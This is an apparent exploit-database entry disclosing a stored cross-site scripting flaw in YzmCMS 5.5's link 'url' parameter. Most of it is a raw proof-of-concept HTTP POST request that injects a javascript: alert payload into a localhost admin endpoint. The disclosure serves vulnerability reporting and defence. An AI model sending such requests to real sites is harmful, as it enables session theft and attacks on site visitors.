YzmCMS 5.5 – ‘url’ Persistent Cross-Site Scripting
# Exploit Title: YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting # Google Dork: N/A # Date: 2020-03-10 # Exploit Author: En # Vendor Homepage: https://github.com/yzmcms/yzmcms # Software Link: https://github.com/yzmcms/yzmcms # Version: V5.5 # Category: Web Application # Patched Version: unpatched # Tested on: Win10x64 # Platform: PHP # CVE : N/A #Exploit Author: En_dust #Description： #The add function defined in the Application/link/controller/link.class.php file does not filter the ‘url’ parameter, causing malicious code to be executed. #PoC： POST /yzmcms/link/link/add.html HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1/yzmcms/link/link/add.html Content-Length: 130 Cookie: CNZZDATA1261218610=2106045875-1559549499-%7C1569374982; PHPSESSID=fr095t87brjfc0l7d7sgj8oml4; yzmphp_adminid=45dfDWXXjGQg2Ce7Yg7oJZbld7iy8SN43sy2SKjq; yzmphp_adminname=7e49R0HXcjLHqBu5wgd9vXbD_D-Bq3Uq8TLw5UNpi8lIAw DNT: 1 Connection: close name=evalWebsite&url=javascript%3Aalert(%2FXSS%2F)&username=&email=&linktype=0&logo=&typeid=0&msg=&listorder=1&status=1&dosubmit=1 |